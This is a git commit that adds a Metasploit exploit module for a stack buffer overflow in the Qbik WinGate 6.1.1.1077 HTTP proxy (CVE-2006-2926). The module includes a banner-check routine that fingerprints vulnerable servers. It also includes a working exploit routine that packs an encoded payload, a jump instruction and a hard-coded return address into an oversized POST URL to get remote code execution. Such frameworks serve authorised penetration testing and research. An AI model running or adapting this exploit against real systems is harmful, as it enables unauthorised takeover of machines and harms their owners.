Added exploit module qbik_wingate_wwwproxy.

git-svn-id: file:///home/svn/framework3/trunk@8547 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb

@@ -0,0 +1,94 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
+			'Description'    => %q{
+		        This module exploits a stack overflow in Qbik WinGate version
+			6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the 
+			HTTP proxy service on port 80, a remote attacker could overflow
+			a buffer and execute arbitrary code.
+			},
+			'Author'         => 'patrick',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     => 
+				[ 
+					[ 'CVE', '2006-2926' ],
+					[ 'OSVDB', '26214' ],
+					[ 'BID', '18312' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 1000,
+					'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
+					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'Jun 07 2006',
+			'DefaultTarget' => 0))
+
+			register_options(
+				[
+					Opt::RPORT(80)
+				], self.class)
+	end
+
+	def check
+		connect
+		sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
+		banner = sock.get_once
+		if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
+			return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect
+
+		print_status("Trying target #{target.name}...")
+
+		buff = Rex::Text.rand_text_alphanumeric(3000)
+		buff[1200, 1000] = payload.encoded # jmp here
+		buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
+		buff[2284, 4] = [target['Ret']].pack('V') #eip
+
+		sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"
+
+		sock.put(sploit)
+		sock.get_once(-1, 3)
+
+		handler
+		disconnect
+	end
+
+end